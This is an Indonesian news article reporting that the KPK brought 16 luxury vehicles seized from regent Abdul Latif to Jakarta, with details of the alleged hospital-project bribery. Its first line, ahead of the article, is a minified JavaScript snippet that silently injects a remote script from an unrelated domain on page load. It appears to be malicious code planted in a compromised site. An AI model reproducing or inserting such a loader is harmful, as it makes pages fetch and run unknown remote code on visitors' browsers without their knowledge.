(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
JAKARTA, Sebanyak 16 kendaraan milik Bupati Hulu Sungai Tengah Abdul Latif tiba di Dermaga 107 Pelabuhan Tanjung Priok, Senin (19/3), pukul 13.00 WIB. Seluruh kendaraan akan dibawa langsung ke rumah penyitaan benda sitaan negara (Rupbasan) Jakarta Barat.
Motor akan diangkut menggunakan truk. Sedangkan mobil akan dikendarai langsung menuju Rupbasan. Seluruh kendaraan tersebut diduga merupakan hasil tindak pidana korupsi gratifikasi dan pencucian uang yang dilakukan Latif selama ia menjabat sebagai bupati. Gratifikasi diduga diterima dalam bentuk fee proyek pada APBD Kabupaten Hulu Tengah. Demikian seperti dilansir Kumparan.com.
Juru bicara KPK Febri Diansyah mengatakan, kendaraan mewah milik Latif tersebut akan diperlukan KPK untuk melalui proses pembuktian terhadap dugaan tindak pidana terhadap Abdul Latif. Apabila terbukti dalam pemeriksaan kejaksaan barang-barang tersebut mempunyai kucuran dana korupsi didalamnya, maka 16 kendaraan bermotor itu akan dilelang KPK.
“Kita lelang ke 16 kendaraan tersebut apabila terbukti ada dana korupsi di dalamnya,†ungkapnya.
Dia menambahkan, dalam proses penyitaan itu salah satu yang kita dapat proses tentu saja barang-barang bukti terkait dengan tindak pidana. Karena seperti yang sudah disampaikan sebelumnya dugaan tindak pidana korupsi yang dilakukan, OTT pada saat itu, secara pararel mendalami penerimaan lain yang masih terkait di sana.
16 mobil mewah dan moge yang dibawa KPK ke Jakarta, mobil berupa 2 unit Rubicon, 2 unit Hummer, 1 unit Cadillac Escalade, 1 unit Vellfire, 1 unit BMW sport dan 1 unit Lexus SUV sedangnya sepeda motor 4 unit Harley Davidson,1 unit BMW, 1 unit Ducati, 1 unit Trail KTM dan 1 unit Trail Husqvarna.
Abdul Latif diduga menerima suap bersama dengan dua orang lainnya, yaitu Fauzan Rifani selaku Ketua Kadin HST Kalsel dan Abdul Basit selaku Direktur PT Sugriwa Agung. Sedangkan pemberi suap adalah Donny Witono selaku Direktur Utama PT Menara Agung. Pemberian suap itu diduga terkait pembangunan ruang kelas I, kelas II, VIP dan Super VIP di RSUD Damanhuri. Dugaan commitment fee proyek ini adalah 7,5 persen atau sekitar Rp 3,6 miliar.
Realisasi pemberian itu disebut KPK terbagi menjadi dua termin. Termin pertama pada rentang September-Oktober 2017 sebesar Rp 1,8 miliar dan termin kedua pada 3 Januari 2018 sebesar Rp 1,8 miliar. Barang bukti yang diamankan KPK adalah rekening koran atas nama PT Sugriwa Agung dengan saldo Rp 1,825 miliar dan Rp 1,8 miliar, uang dari brankas di rumah dinas Latif sebesar Rp 65.650.000, dan uang dari tas Latif sebesar Rp 35 juta.(cel/kum/net)
KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More
KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More
KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More
This website uses cookies.